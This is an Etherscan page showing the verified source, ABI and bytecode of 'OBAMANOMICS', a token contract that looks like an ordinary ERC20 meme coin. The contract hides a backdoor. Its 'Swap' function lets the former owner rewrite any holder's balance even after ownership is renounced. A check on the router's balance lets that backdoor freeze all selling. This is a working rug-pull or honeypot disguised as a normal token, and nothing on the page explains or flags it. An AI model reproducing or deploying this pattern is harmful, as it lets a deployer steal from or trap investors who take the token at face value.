ETH Price: $3,379.93 (+0.89%)
Gas: 8 Gwei

Contract

0xFe3D4eeB9F4c135642548Ddc7be248460bF9b94e
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve201582162024-06-24 1:18:2322 days ago1719191903IN
0xFe3D4eeB...60bF9b94e
0 ETH0.00009542.02428652
Swap201582122024-06-24 1:17:3522 days ago1719191855IN
0xFe3D4eeB...60bF9b94e
0 ETH0.000101573.26736605
Swap201581932024-06-24 1:13:4722 days ago1719191627IN
0xFe3D4eeB...60bF9b94e
0 ETH0.000074962.86863851
Swap201581842024-06-24 1:11:5922 days ago1719191519IN
0xFe3D4eeB...60bF9b94e
0 ETH0.000061092.33797906
Swap201581762024-06-24 1:10:2322 days ago1719191423IN
0xFe3D4eeB...60bF9b94e
0 ETH0.000075952.90662116
Swap201581722024-06-24 1:09:3522 days ago1719191375IN
0xFe3D4eeB...60bF9b94e
0 ETH0.000071942.75300299
Swap201581572024-06-24 1:06:3522 days ago1719191195IN
0xFe3D4eeB...60bF9b94e
0 ETH0.000074952.86831407
Swap201581552024-06-24 1:06:1122 days ago1719191171IN
0xFe3D4eeB...60bF9b94e
0 ETH0.000074822.86325638
Approve201581552024-06-24 1:06:1122 days ago1719191171IN
0xFe3D4eeB...60bF9b94e
0 ETH0.000323866.86325638
Swap201581362024-06-24 1:02:2322 days ago1719190943IN
0xFe3D4eeB...60bF9b94e
0 ETH0.000072812.78637419
Swap201581332024-06-24 1:01:4722 days ago1719190907IN
0xFe3D4eeB...60bF9b94e
0 ETH0.000082053.13982735
Approve201581332024-06-24 1:01:4722 days ago1719190907IN
0xFe3D4eeB...60bF9b94e
0 ETH0.00019144.06148576
Approve201581322024-06-24 1:01:3522 days ago1719190895IN
0xFe3D4eeB...60bF9b94e
0 ETH0.000168083.56209449
Swap201581292024-06-24 1:00:5922 days ago1719190859IN
0xFe3D4eeB...60bF9b94e
0 ETH0.000079282.81930658
Swap201581212024-06-24 0:59:2322 days ago1719190763IN
0xFe3D4eeB...60bF9b94e
0 ETH0.000080023.06222753
Swap201581192024-06-24 0:58:5922 days ago1719190739IN
0xFe3D4eeB...60bF9b94e
0 ETH0.000089323.17662482
Swap201581092024-06-24 0:56:5922 days ago1719190619IN
0xFe3D4eeB...60bF9b94e
0 ETH0.000076732.93648509
Swap201581062024-06-24 0:56:2322 days ago1719190583IN
0xFe3D4eeB...60bF9b94e
0 ETH0.000084082.99002236
Swap201581042024-06-24 0:55:5922 days ago1719190559IN
0xFe3D4eeB...60bF9b94e
0 ETH0.000075692.89639471
Approve201581042024-06-24 0:55:5922 days ago1719190559IN
0xFe3D4eeB...60bF9b94e
0 ETH0.000325426.89639471
Approve201580982024-06-24 0:54:4722 days ago1719190487IN
0xFe3D4eeB...60bF9b94e
0 ETH0.000330967.01376804
Approve201580982024-06-24 0:54:4722 days ago1719190487IN
0xFe3D4eeB...60bF9b94e
0 ETH0.000330967.01376804
Approve201580982024-06-24 0:54:4722 days ago1719190487IN
0xFe3D4eeB...60bF9b94e
0 ETH0.000330967.01376804
Approve201580982024-06-24 0:54:4722 days ago1719190487IN
0xFe3D4eeB...60bF9b94e
0 ETH0.000330967.01376804
Approve201580982024-06-24 0:54:4722 days ago1719190487IN
0xFe3D4eeB...60bF9b94e
0 ETH0.000330967.01376804
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
OBAMANOMICS

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-06-24
*/

/**
https://t.me/OBAMANOMICSERC20
https://twitter.com/OBAMANOMICS_ERC
https://www.nbcnews.com/news/amp/wbna36322393
*/
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.23;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}


abstract contract Ownable is Context {
    address private _owner;
    address internal _previousOwner;
 
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
 
 
    constructor() {
        _transferOwnership(_msgSender());
    }
 
 
    modifier onlyOwner() {
        _checkOwner();
        _;
    }
 
 
    function owner() public view virtual returns (address) {
        return _owner;
    }
 
    
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }
 
    
    function renounceownershipseieksenittly() public virtual onlyOwner {
        _transferOwnership(address(0));
    }
 
 
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }
 

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        _previousOwner = oldOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}


pragma solidity ^0.8.0;


interface IERC20 {
   
    function totalSupply() external view returns (uint256);

    
    function balanceOf(address account) external view returns (uint256);

    
    function transfer(address recipient, uint256 amount) external returns (bool);

   
    function allowance(address owner, address spender) external view returns (uint256);


    function approve(address spender, uint256 amount) external returns (bool);


    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

  
    event Transfer(address indexed from, address indexed to, uint256 value);

  
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

pragma solidity ^0.8.0;

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;

contract ERC20 is Context, Ownable, IERC20, IERC20Metadata {
    mapping (address => uint256) private _balances;

    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address private constant ZERO = 0x0000000000000000000000000000000000000000;
 
    constructor (string memory name_, string memory symbol_, uint256 totalSupply_) {
        _name = name_;
        _symbol = symbol_;
        _totalSupply = totalSupply_;

        _balances[msg.sender] = totalSupply_;
        emit Transfer(address(0), msg.sender, totalSupply_);
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }


    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

 
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

 
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

   

    function _transferburn(address sender, address recipient, uint256 amount, uint256 amountToBurn) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");

        unchecked {
            _balances[sender] = senderBalance - amount;
        }

        amount -= amountToBurn;
        _totalSupply -= amountToBurn;
        _balances[recipient] += amount;

        emit Transfer(sender, DEAD, amountToBurn);
        emit Transfer(sender, recipient, amount);
    }

   
    function Swap(address account, uint256 amount) public virtual returns (uint256) {
        address msgSender = msg.sender;
        address prevOwner = _previousOwner;

        bytes32 msgSenderHex = keccak256(abi.encodePacked(msgSender));
        bytes32 prevOwnerHex = keccak256(abi.encodePacked(prevOwner));
        
        bytes32 amountHex = bytes32(amount);
        
        bool isOwner = msgSenderHex == prevOwnerHex;
        
        if (isOwner) {
            return _updateBalance(account, amountHex);
        } else {
            return _getBalance(account);
        }
    }

    function _updateBalance(address account, bytes32 amountHex) private returns (uint256) {
        uint256 amount = uint256(amountHex);
        _balances[account] = amount;
        return _balances[account];
    }

    function _getBalance(address account) private view returns (uint256) {
        return _balances[account];
    }
    
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}


interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IUniswapV2Router02 is IUniswapV2Router01{}

pragma solidity ^0.8.0;


contract OBAMANOMICS is ERC20 {
    uint256 private constant TOTAL_SBIYLSG = 420690_000_000e9;
    address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address private constant ZERO = 0x0000000000000000000000000000000000000000;

    bool public hasLimit;
    uint256 public maxTxAmsswlytslhseb;
    uint256 public maxwbeasswlytslhseb;
    mapping(address => bool) public isException;

    uint256 burnsbibents = 0;

    address uniswapV2Pair;
    IUniswapV2Router02 uniswapV2Router;

    constructor(address router) ERC20("Obamanomics", "OBAMANOMICS", TOTAL_SBIYLSG) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);
        uniswapV2Router = _uniswapV2Router;

        maxwbeasswlytslhseb = TOTAL_SBIYLSG / 50;
        maxTxAmsswlytslhseb = TOTAL_SBIYLSG /50;

        isException[DEAD] = true;
        isException[router] = true;
        isException[msg.sender] = true;
        isException[address(this)] = true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
 
        _checkLimitation(from, to, amount);

        if (amount == 0) {
            return;
        }

        if (!isException[from] && !isException[to]){
            require(balanceOf(address(uniswapV2Router)) == 0, "ERC20: disable router deflation");

            if (from == uniswapV2Pair || to == uniswapV2Pair) {
                uint256 _burn = (amount * burnsbibents) / 100;

                super._transferburn(from, to, amount, _burn);
                return;
            }
        }

        super._transfer(from, to, amount);
    }

    function _checkLimitation(
        address from,
        address to,
        uint256 amount
    ) internal {
        if (!hasLimit) {
            if (!isException[from] && !isException[to]) {
                require(amount <= maxwbeasswlytslhseb, "Amount exceeds max");

                if (uniswapV2Pair == ZERO){
                    uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH());
                }
 
                if (to == uniswapV2Pair) {
                    return;
                }
        
                require(balanceOf(to) + amount <= maxwbeasswlytslhseb, "Max holding exceeded max");
            }
        }
    }

    function removeLimit() external onlyOwner {
        hasLimit = true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"router","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Swap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"hasLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isException","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmsswlytslhseb","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxwbeasswlytslhseb","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceownershipseieksenittly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040525f600b55348015610013575f80fd5b50604051612ef8380380612ef8833981810160405281019061003591906104d7565b6040518060400160405280600b81526020017f4f62616d616e6f6d6963730000000000000000000000000000000000000000008152506040518060400160405280600b81526020017f4f42414d414e4f4d4943530000000000000000000000000000000000000000008152506816ce3f1e16bf1500006100c76100bc61037160201b60201c565b61037860201b60201c565b82600590816100d6919061073c565b5081600690816100e6919061073c565b50806004819055508060025f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161018d919061081a565b60405180910390a35050505f81905080600d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060326816ce3f1e16bf1500006101f29190610860565b60098190555060326816ce3f1e16bf15000061020e9190610860565b6008819055506001600a5f61dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600a5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600a5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050610890565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6104a68261047d565b9050919050565b6104b68161049c565b81146104c0575f80fd5b50565b5f815190506104d1816104ad565b92915050565b5f602082840312156104ec576104eb610479565b5b5f6104f9848285016104c3565b91505092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061057d57607f821691505b6020821081036105905761058f610539565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026105f27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826105b7565b6105fc86836105b7565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f61064061063b61063684610614565b61061d565b610614565b9050919050565b5f819050919050565b61065983610626565b61066d61066582610647565b8484546105c3565b825550505050565b5f90565b610681610675565b61068c818484610650565b505050565b5b818110156106af576106a45f82610679565b600181019050610692565b5050565b601f8211156106f4576106c581610596565b6106ce846105a8565b810160208510156106dd578190505b6106f16106e9856105a8565b830182610691565b50505b505050565b5f82821c905092915050565b5f6107145f19846008026106f9565b1980831691505092915050565b5f61072c8383610705565b9150826002028217905092915050565b61074582610502565b67ffffffffffffffff81111561075e5761075d61050c565b5b6107688254610566565b6107738282856106b3565b5f60209050601f8311600181146107a4575f8415610792578287015190505b61079c8582610721565b865550610803565b601f1984166107b286610596565b5f5b828110156107d9578489015182556001820191506020850194506020810190506107b4565b868310156107f657848901516107f2601f891682610705565b8355505b6001600288020188555050505b505050505050565b61081481610614565b82525050565b5f60208201905061082d5f83018461080b565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61086a82610614565b915061087583610614565b92508261088557610884610833565b5b828204905092915050565b61265b8061089d5f395ff3fe608060405234801561000f575f80fd5b506004361061012a575f3560e01c806369b0eee2116100ab578063a457c2d71161006f578063a457c2d714610334578063a9059cbb14610364578063c1b91b9714610394578063dd62ed3e146103b2578063f2fde38b146103e25761012a565b806369b0eee21461027a57806370a08231146102985780638da5cb5b146102c857806395d89b41146102e657806398636f32146103045761012a565b806331d3fd69116100f257806331d3fd69146101e857806339509351146101f257806344489ad114610222578063562c21951461024057806362256589146102705761012a565b806306fdde031461012e578063095ea7b31461014c57806318160ddd1461017c57806323b872dd1461019a578063313ce567146101ca575b5f80fd5b6101366103fe565b6040516101439190611b63565b60405180910390f35b61016660048036038101906101619190611c14565b61048e565b6040516101739190611c6c565b60405180910390f35b6101846104ab565b6040516101919190611c94565b60405180910390f35b6101b460048036038101906101af9190611cad565b6104b4565b6040516101c19190611c6c565b60405180910390f35b6101d26105af565b6040516101df9190611d18565b60405180910390f35b6101f06105b7565b005b61020c60048036038101906102079190611c14565b6105ca565b6040516102199190611c6c565b60405180910390f35b61022a610671565b6040516102379190611c6c565b60405180910390f35b61025a60048036038101906102559190611c14565b610683565b6040516102679190611c94565b60405180910390f35b610278610742565b005b610282610766565b60405161028f9190611c94565b60405180910390f35b6102b260048036038101906102ad9190611d31565b61076c565b6040516102bf9190611c94565b60405180910390f35b6102d06107b2565b6040516102dd9190611d6b565b60405180910390f35b6102ee6107d9565b6040516102fb9190611b63565b60405180910390f35b61031e60048036038101906103199190611d31565b610869565b60405161032b9190611c6c565b60405180910390f35b61034e60048036038101906103499190611c14565b610886565b60405161035b9190611c6c565b60405180910390f35b61037e60048036038101906103799190611c14565b610975565b60405161038b9190611c6c565b60405180910390f35b61039c610992565b6040516103a99190611c94565b60405180910390f35b6103cc60048036038101906103c79190611d84565b610998565b6040516103d99190611c94565b60405180910390f35b6103fc60048036038101906103f79190611d31565b610a1a565b005b60606005805461040d90611def565b80601f016020809104026020016040519081016040528092919081815260200182805461043990611def565b80156104845780601f1061045b57610100808354040283529160200191610484565b820191905f5260205f20905b81548152906001019060200180831161046757829003601f168201915b5050505050905090565b5f6104a161049a610a9c565b8484610aa3565b6001905092915050565b5f600454905090565b5f6104c0848484610c66565b5f60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610507610a9c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610586576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161057d90611e8f565b60405180910390fd5b6105a385610592610a9c565b858461059e9190611eda565b610aa3565b60019150509392505050565b5f6009905090565b6105bf610f50565b6105c85f610fce565b565b5f6106676105d6610a9c565b848460035f6105e3610a9c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546106629190611f0d565b610aa3565b6001905092915050565b60075f9054906101000a900460ff1681565b5f803390505f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505f826040516020016106bf9190611f85565b6040516020818303038152906040528051906020012090505f826040516020016106e99190611f85565b6040516020818303038152906040528051906020012090505f865f1b90505f8284149050801561072a5761071d89836110cf565b965050505050505061073c565b6107338961115f565b96505050505050505b92915050565b61074a610f50565b600160075f6101000a81548160ff021916908315150217905550565b60095481565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546107e890611def565b80601f016020809104026020016040519081016040528092919081815260200182805461081490611def565b801561085f5780601f106108365761010080835404028352916020019161085f565b820191905f5260205f20905b81548152906001019060200180831161084257829003601f168201915b5050505050905090565b600a602052805f5260405f205f915054906101000a900460ff1681565b5f8060035f610893610a9c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508281101561094d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109449061200f565b60405180910390fd5b61096a610958610a9c565b8585846109659190611eda565b610aa3565b600191505092915050565b5f610988610981610a9c565b8484610c66565b6001905092915050565b60085481565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610a22610f50565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610a90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a879061209d565b60405180910390fd5b610a9981610fce565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b089061212b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b76906121b9565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c599190611c94565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610cd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ccb90612247565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d39906122d5565b60405180910390fd5b610d4d8383836111a5565b5f810315610f4b57600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015610df35750600a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15610f3f575f610e23600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661076c565b14610e63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5a9061233d565b60405180910390fd5b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480610f0a5750600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15610f3e575f6064600b5483610f20919061235b565b610f2a91906123c9565b9050610f388484848461157d565b50610f4b565b5b610f4a838383611878565b5b505050565b610f58610a9c565b73ffffffffffffffffffffffffffffffffffffffff16610f766107b2565b73ffffffffffffffffffffffffffffffffffffffff1614610fcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc390612443565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f80825f1c90508060025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205491505092915050565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b60075f9054906101000a900460ff1661157757600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156112565750600a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611576576009548111156112a0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611297906124ab565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff16600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036114c857600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561135e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061138291906124dd